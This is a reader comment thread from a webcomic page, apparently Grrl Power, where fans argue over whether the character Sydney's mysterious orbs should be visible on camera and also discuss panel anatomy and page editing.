Fortunately there are enough of us in the world who are bored with that over-commercialised, flash-in-the-pan culture, that there is a big fan-base here. Who enjoy that the writer who chooses to spend, whatever time it takes, to explore the subject at hand.
^ +1
One must be patient to obtain real wisdom. Remember that knowledge & wisdom are not the same thing. The newer generation believes it knows everything, yet lacks the knowledge that they cannot understand anything without patience & careful consideration.
That and the long fight may have lured them into thinking this was a different sort of comic then it was meant to be and hopefully still is. That would alter their expectations of timing somewhat.
Anatomically, what exactly is going on in panel 9, specifically on the left side there?
Max and the rest are holding his arms out straight behind his back. It’s a very effective, hard-to-break hold.
DaveB, since you are going to revisit older pages to edit some things, i think it is relevan to repost my question again:
During the press conference Sydney showed her orbs and made an advertisement of her shop with molestorb. Thing is, according to Dabbler’s comments, camera should not be able to see the orbs. Is tentacle tech-invisible too?
At very least her orbs should not be visible on camera during presentation and this picture on the phone. And at worst, her tentacle advertisement was invisible too.
Dave, what are you going to do about it? Will that be retconned/lampshaded/handwaved?
They answered your question back there too .. ( I think ) … but it was clearly stated that the SKILL TREE was tech invisible, not the orbs.
On a related note … Total tech invisibility for Sydney would potentially be WAY too powerful. It was too powerful when it got implemented on the X-Men back in the Fall of the Mutants. The writers conveniently forgot about it after not too terribly long for the sake of sanity.
God damn it. I am not talking about a skill tree. I read this comic 7 times already, and know what i am talking about. Read the discussion. Scientist backed my theory up, FFS. Dabbler did not detect ANY emissions. Photons cannot be reflected without being absorbed, and then EMITTED. This explicitly means, that they are not produce any light at all. Otherwise she would have detected them emitting it, and said so.
Read the reactions of everyone present, and tell me, that their “that sounds impossible” does not mean exactly the thing i am talking about.
And, by the way, i am asking what Dave thinks about it. No point repeating pointless discussion.
You make it sound like a mistake has been made. There has been none. The facts hang together. It is only your interpretation of them that is flawed, not the writing.
I mention this because Dabbler’s comment hints to the deep mystery of the orbs. Which means that Dave may not choose to answer as, to do so, could give spoilers. If that is the case, we would rather that the mystery remain.
you are wrong… you you are saying that my bed, or my pillow MUST be invisible because it can’t EMIT light? i mean there are no light bulbs inside my pillow or under the sheets, right, therefore it’s not EMMITTING light, right?!… unfortunately no, you are wrong about the physics of light my friend, that is not how “seeing stuff” works. what DOES seem to be happening is that while we CAN see the Orbs themselves, they are being stealthed to prevent information from being detected by anyone that tries. for another take on this, try to take a picture of your ipod, or smart phone screen in a thermal imager… you will NOT be able to see the icons and whatnot that you can see if you took the same picture of it with a regular camera (chemical or digital)… i *know* that it is this way because I DO have an IR camera and tested this before i posted here… i’m unable to upload the pics for you to see, but that is basically what’s happening. the ORB ITSELF *IS* visible under any condition we have seen in the comic so far… BUT… the Skill Tree, and the “buttons* ON the orbs (the embiggener button for example) are NOT VISIBLE to a camera… or to the various tests that Dabbler subjected them to in the Ballroom scene…. just like the icons ON the phones screen were not visible but the phone itself WAS visible under IR camera… the Hentacle is a bloody bright blue energy tentacle that, for lack of a better description is a non-destructive, flexible Light-Saber force field thing… (lack of technical knowledge of the Star Wars universe stuff, sorry) if i were to take a picture of the Light Saber BLADE in an IR camera i guarantee that it too, WOULD show up in the image as well as the handle in the Jedi’s hands… take into account that my example is conducted with TERRAN technology… NOT the MUCH HIGHER TECH of the ORBS… I’m sure that the makers of the orbs could make it render as invisible to an ORDINARY camera as well as just in an IR one like i have… as evidenced by Dabblers inability to get any readings off of them.
your argument is that since we can’t see the buttons and doo-dads, OR the Skill Tree in a camera… that we can’t see the ORB (or Hentacle) EITHER!!!… BS…
also, re-reading your question in the first link, you are misreading the second panel entirely.. what Dabbler says is that “they’re GLOWING… but i can’t detect the light coming off of them” implying that she CAN see the GLOW, with her EYES (well, probably only the organic one at least, i’ll give you that benefit of the doubt here ) but her probes cannot detect THE GLOW… NOT that she cant detect THE ORB ITSELF only that she can’t see the GLOW on her instruments. and in panel 6 of the previous page, it clearly shows “stuff” about the orbs that she can’t see with her tech/magic probes… IE the tech/magic of the Orbs is better than HER tech/magic… as for the whole “can’t get a Base EM or Pulse Echo” that ‘s because they are STEALTHED out to the Nth degree… the base EM, is “does it operate with electricity? yes? then i can tell because i can sense the magnetic field that the various wires and bit n’ bobs create when electricity passes through a conductor…. hmm, no EM… so, EITHER it probably doesn’t operate on electricity, OR, it has been designed with a Faraday Cage (or equivalent) to PREVENT any internal em fields from leaking outside of it… and the “No Pulse Echo” thing; to me that sounds like it has been put through some kind of Radar Stealth treatment like our B-1 Bombers get and when she pinged it with her version of radar, it just absorbed it and sent nothing BACK for her to use… ergo, no pulse ECHO…
anyway, sorry for the long reply, but dude, chill out!, your questions were done to death the FIRST time you asked them. if they were a “mistake” as you are implying, Dave would have piped up and said something by now…
Dunning-Kruger Effect, here we go again.
Read this, and this.
While i am just interpreting Dabbler’s word according to actual science, everyone else just tries to tell me that i am wrong, while pushing much more far fetched theories, that are not even based on anything, that was said or shown in comic.
What is wrong with you, people?
Even if you are right and both orbs and advertisement are invisible on camera, does it change anything that happened so far? We haven’t seen Sydney watching the material from press conference on TV and either seeing the advertisement or wondering why it’s not visible. We have only seen the conference from behind the fourth wall. And the picture on Maximas phone… Are we even sure it is a phone? I didn’t realize it was MMS or whatever to Peggy on any of my archive rereads. I just considered it peek “what is happening behind Maximas back, while she talks to Peggy”. Which means “from behind the fourth wall” again.
Nope, its on the phone. There is an image in the panel before it that Dave splits down the middle to show both Maxima noticing her phone ringing and the image on the phone itself all in the same panel. Everything that is phone in that split panel has a background all around it (grey-blue hexagons repeating). The next panel is similarly split with one part showing Peggy looking at her phone and the other with the background all around and through it which shows a in phone picture of Sydney with her Orbs.
If DaveB decides later on that no human technology can see the Orbs then they will have to be erased or replaced with black holes or something depending on whether they pass energy out the other side or just negate/absorb anything that comes their way. However there is in fact no reason to do this as the entire POINT of the Dabbler quote the OP was referring to is that despite the fact all scans magical and technological show nothing here we are looking right at them. What the OP fails to notice is that according to Dabbler’s scan results the living beings shouldn’t be able to see them either!! So clearly its meant to be an undefinable mystery for the moment unless Dave has or until he does come up with something clever to explain it all. (and even then maybe he will want it a mystery for the awesomeness of it?)
“I can’t sense any emissions” is saying exactly this “They’re just there.”
She can’t sense if they’re active, she can’t sense a power source, etc. etc.
To Dabbler they are just dead objects.
THAT is what is being said. Not that the orbs are invisible: she’s looking at the damn things when she says “I can’t sense any emissions from them… them being the orbs, clearly.
If she couldn’t see them, her first reaction would be “Which orbs?”
So to rebound your question: what is wrong with you? ;)
minor correction: she wouldn’t say “what orbs?” she would say “Funny, I can’t see ’em with my right eye”
Its amusing to me that everybody is getting all hot and bothered trying to scientifically explain why the Orbs can be seen but can’t be scanned when that is exactly the point Dave was trying to have Dabbler make: Nothing she purposely scanned for in that moment (light, various wavelengths, sound, psychic energies are mentioned we assume more were scanned for as well) is detected as emitting from them or reflecting off of them that her scanners/spells can detect yet she can still see and feel them. (possibly with both eyes she doesn’t say. Not that it matters.) To which Zeph or somebody off camera says: That sounds impossible. The whole point of that dog and pony show was to indicate that the nature of the orbs is beyond the current common scientific/magical understanding of not only Man but to some extent Alien/Demon kind. (at least the ones Dabbler has bumped into)
It was meant as a big vague general statement which is why folk are able to make up theories on both sides. You aren’t meant to figure it out. We aren’t even told exactly what Dabbler can and can’t see of the Orbs, except for the skill tree projection, with her cyber eye. We don’t know if they purposely or intelligently control what of them can be sensed/scanned or if it is a side effect of the extra dimensional science/magic their creators used to create them. (maybe they aren’t even an actual part of this universe and what we see/sense is just the imprint they leave as these powerful devices interact with our universe in some oddball fashion).
Why aren’t you equally arguing against the fact that living beings can see them? Dabbler also didn’t detect any psychic or illusion spells coming off of them as well. Dabbler had NO reason why PEOPLE can see them. (even DOLPHIN’S couldn’t see/hear these things!) They should only be detectable to living beings as an absence of light and sound (holes in the world) yet everyone can see them AND hear them (like when they smack off each other to crush some supers balls! XD ) despite the way they kill vibrations that make sound. Heck even there I am making some big assumptions. I’m assuming they killed the things she was trying to ping them with but maybe they just passed right on through the space the Orbs were supposedly occupying? So maybe you could hear them. *shrugs* Maybe light passes right on through them. *bigger shrug*
There is just so much WRONG with these things and you’ve (and many of the folk replying to you in an opposing fashion) just focused on one tiny portion of it and missed the fact that they are supposed to come off wrong and broken. They aren’t supposed to make sense at this point. Will they be explained? Maybe, and if they ever are you science types will have a jolly good time blasting holes in whatever Dave did his best to come up with. But my bet is he leaves it as impossible for as long as possible, cause he currently has no explanation, unless one of his uber smart scientifico but magic savvy fans (maybe you. Who knows?) drops the perfect explanation into his lap. (my guess is the explanation would be equal parts magic/psychic/scifi but maybe not) It wouldn’t be the first time he purposely left things vague and then looked at every suggestion by fans and either used them or their thoughts sparked a right angle one of his own. Maybe when he does have a working theory they will be retconned out of that cell phone image. Maybe not.
So yeah. They are totally on that cell phone despite being undetectable. People are also seeing them with either their eyes, their minds, or both despite the orbs being undetectable. Living beings and machines are detecting them despite them being undetectable when scanned as inactive but floating orbs. (we have yet to scan them while actively using a power) They are there but kind of not and we have no idea how that works yet nor enough information to do more then guess.
Maybe Dave saw all this going on down in the comments and decided he wanted to wait till the testing/training portion of the comic we are rapidly approaching to answer it in part or at least provide more clues. But maybe we are never meant to get much farther on this. Only time will tell.
On a side note it would be funny if when she gets back to the shop business is even deader than usual because no one could see anything and everyone thinks she simply has powers cause they couldn’t see the orbs on TV. Personally that amuses me so much I kind of am rooting for Dave to erase the orbs in the cell phone picture.
Some people already made some of these points but I hope I added something to them. Perhaps made them easier to understand and took the OP points into better consideration? Maybe not. TT
Aaand at this late date no one is going to read all this (why do I keep working so hard on things nobody is going to read! Why! TT X-P ) let alone the original poster who is probably annoyed at some of the overly aggressive/enthusiastic and perhaps a tad overprotective replies. Can’t really blame them people get really emotional about these debates in the comments sometimes. When their side is no more “provable” than the OP.
For all we know, those orbs exist in more than the three dimensions that we can perceive, maybe in the 4th or 5th dimension (or maybe even higher). In the original Cosmos series with Carl Sagan, he explains “personal perspective” across different dimensions. He does this by explaining how we 3-D beings can freely perceive everything that exists only in two dimensions, but if we physically interact with that particular 2-D plane, natives there could only see a part of us. In a different context, Sagan also shows a plexiglass model of what a 4-D cube (a tesseract, or a hypercube) would look like in our 3-D plane of existence.
Try looking that up (the whole series of episodes was in Netflix, last time I looked) & then understand that Sydney’s orbs just might be some artifacts that exist in a higher dimensional plane, but we can only perceive part of what they really are.
So you think all the energy directed at the Orbs is being bled off to dimensions that Dabbler and Gwen’s spells and devices aren’t designed to detect. Though you would kind of think a spell designed with that in mind might do the trick. Spells always struck me as things that fudge the laws of this known universe by utilizing extra dimensions or somehow linking to another universe for energy. (In this series of yours does Carl talk about M-theory a bit? That might be helpful… Wish I still had satellite sometimes. No TV here. TT )
If the person who has the Netflix account wants to check it out with me sometime I’ll see how far we get. Thanks. (Does Sagan’s tesseract open up transportation between worlds? ;) )
Either the energy used to try evaluating them is being bled off to Otherwhere, or that whatever emissions her orbs might have aren’t bleeding into HERE from Otherwhere. As far as merevisual sighting with organic eyes goes, they must be partially interfacing with our 3-D reality with some form of presence in Matter, otherwise our light sources couldn’treflect & be interacting with our eyes.
In short, I’m conjecturing that her orbs are only partially here, whereas the main “bulk” of their existence may be in a place far beyond our ability to perceive them.
Sooo every machine and living being can see the basic orbs but Dabbler’s spells (not sure if she used any devices or not besides on the skill tree which is a separate issue) can not even though they were designed to see the types of energy that this world has and therefore should be able to see any energy that a being or machine can see? I think we are back to complete mystery mode here.
Even if we assume living beings somehow have existences and senses that reach into the dimensions that the Orbs are sending their images from this does not excuse the machines and I’m pretty sure originally Dave wanted them to be seen by machines. (even if he changes his mind later) The only thing that might work is if you believe in things like species (or just all life ) having a sort of Overmind for the Orbs to transmit the solid image of their existence in a certain place and time to but that is about as far out their as you can get. Heck its pretty far out their even for those that do believe in such a thing as an Overmind so yeah. I think we are back to it was specifically designed as a paradox so it would always remain a mystery whom’s sole purpose was to illustrate how oddly awesome the Orbs truly are. Only the highest of fantasy can even make a dent in why they might exist. (Magic without rules or system. Just poof there it is kind of stuff)
Maybe after a particularly informative training day or mission we can reflect again.
Again: Dabbler can see the orbs just fine.
Her spell, however, doesn’t let her see what they are.
She sees no distinct features, runes or other things that might help her index the orbs.
Basically, it tells her she’s just looking at a bunch of floating marbles.
Pretty much what I’ve been saying ‘cept that her spell(s) or whatever she was scanning with didn’t “see” them at all. To her and Gwen’s scans they aren’t there at all. Which may be what you meant by what you said in which case we agree on all points. (and always have :) )
But she didn’t really spend much time at it and didn’t get to the part Sydney suggested which was scan and observe them while they were active. (initial scans were without an active power in use) There is a lot of testing yet to be done on them which Dave should show eventually unless he doesn’t have a solid plan for how they achieve these affects in which case he may want to avoid getting into it. (a pity I love those sorts of details)
that’s the only difference, indeed.
You believe that her spell makes them appear absent, I believe her spell just doesn’t pick up radiation/energy from them.
So absent space vs dead objects is still what we disagree upon :)
The scan was looking for various types of energy coming off of or returning from them. It found no energy coming off of or returning from them. To the SPELL the things might as well not be there. The spell can’t see any objects because it sees objects by the energy they give off or return from pings. Of course Dabbler herself can still see them despite the spell as she’s not a set of spells designed to pick up specific types of energy.
Its basically just the more drawn out detailed version of what Gwen said. Gwen said things like the tube appeared “Empty” then “A little too empty if you know what I mean” then “A distinct lack of anything.”
Dabbler was called in for a second opinion and she found the same distinct lack of anything. They don’t reflect sound (pulse echo), emit light or reflect it(which our scientist friends say emit is the same language used for what was traditionally thought of as “reflected” light as well as light sources), they don’t give off any of the types of energy she scanned for whichever those were (electromagnetic and psychic energy were also mentioned). They either absorbed the pulse echo, sent it somewhere “else” or passed it on through probably without altering it in anyway. (Dabbs was kind of vague) The first two would make it appear like a hole in the world and the last one makes it perfectly invisible as far as their quickie scans are concerned.
So people and machines see them but so far scanning them revealed a distinct lack of anything there. Of course both attempts appeared to be magic so maybe in light of the fact that machines can record them perhaps the next scans should be done with technology. (the Orbs have some kind of magic negation thing going on? Maybe the creators had a lot of magical enemies?)
We are just talking about low to mid-level magic here right? And they were just quick scans done outside Dabb’s labs or wherever she really kicks in the magic after burners. So that still leaves exploration by technology, more involved/higher level magic and if they have them a super who has specialized sensory abilities.
If Dabbler’s magic “energy” used to power her spells originate in THIS reality, then they might not be up to detecting energy that originates in a different reality. It would be similar to you trying to see something in a radar wavelength with just your own eyes being limited to the visible spectrum.
In the case of using “mana” energy from our universe, Dabbler might be likewise limited to detecting energies that originate in our universe…Whereas the orbs might be on a totally different “wavelength” because it originates from a different universe.
Following that logic, then Halo’s power obviously derives not from tantric energy but cutic energy. The more adorable she looks, the greater her power. If enough of us say “aww”, when looking at her, she will get to level up!
Just look at the last three panels on this page, and feel the urge to hug Sydney. Let the power flow to the Mightay Halo!
I err, got carried away, and replied before reading your final line. Ignore that bit when reading my above comment.
Wouldn’t the technology like the cell phones have a similar limitation being made in this universe of this universes material?
So far both attempts to scan the orbs for detailed information seemed to be spells. Perhaps the orbs have specific defenses against magic or spells? Perhaps Dabbler would have to bone up and use more subtle magic to probe them or use the simple solution and use tech to scan/probe them.
This whole thread strikes me as being similar to a cave man stumbling across a CD and trying to figure out what it is for. If Dabbler, with her knowledge set, is flummoxed, then we don’t stand a chance of understanding it.
Plus her translated explanation is probably severely limited by our limited vocabulary and grasp of extra-terrestrial technology or even basic magical principals. You try giving a scientific explanation of how a CD works, to a someone who’s vocabulary is limited to things like “fire”, “mammoth” and “winter”.
Especially if you want to do it in such a way that it will not give him access to technologies which would contaminate his culture.
Then try to explain to him how a flying saucer you find can go faster than light. When you know that is impossible. And any of the science-fiction workarounds, you have heard suggested, do not match the observed facts.
The best laugh being listening to him trying to relay your comments to his mates, around the camp fire, and hearing how they try to rationalise the contradictions. Especially the ones who are convinced that they understand the issue.
It was just some scans she did seemingly with only spells she could cast right there and then quick like. Its not like she took Sydney back to the lab and used not only her best magic but also her best tech to check them out.
While I agree Dabbler’s findings usually may tend to loose a lot in translation to earth dumb I think she truly was just saying she got nothing off of them with the scans she tried. That seems simple enough. If she’d actually gotten some readings on them then it might have gotten hard to understand.
Just wanted to say… I don’t really see why you’d need to edit it. I realize the standard you’re going by is your typical comic book, but those classic layout limiters for page count and panel size were all about monetary reasons. Ink was expensive, paper size was usually set, and most had a deadline. That was the true beauty of the webcomic format, it was easier to do digital colors, panel size was only limited to your bandwidth, and you could go anywhere you wanted editorial wise because you were self editing. I know you plan to publish this someday as is your dream to make a true comic book, but, I think the GrrlPower that spawns purely from your imagination and the layout driven by your sense of dramatic timing in webcomic update form has more character -and a better charm to it- than any additional editing you may do to make it fit an outdated, but I suppose standardized, comic format. I’m not saying don’t follow your dream, I just like to see you do your own format and not cut back away for the sake of a past style we’ve come so far beyond already.
Also, pretty bold of Halo to say it’s every guy’s weakness, not every guy does, and especially when even she herself fell for it.
Deadpool sums it up well “Wow. Whaddaya know? LOGIC stops the Juggernaut!””
Also, I see Sydney is channeling her many years of dealing with hostile customers in dealing with bad guys. Well done!
…This would be the same Sydney who, when faced with a wishful thinking moron, asked her business partner if murder was still illegal?…
Noone said she learned anything good from that experience. Just that she had experience
A conversation that took place in my brain in about a quarter second.
Ashing? Is that a typo?
No.
Isn’t it supposed to be bashing?
No. Maxima.
Huh? Wh…oh.
You mean its not a reference to Ashley James “Ash” Williams’ various techniques?
Also note the glowing hand, ready to blow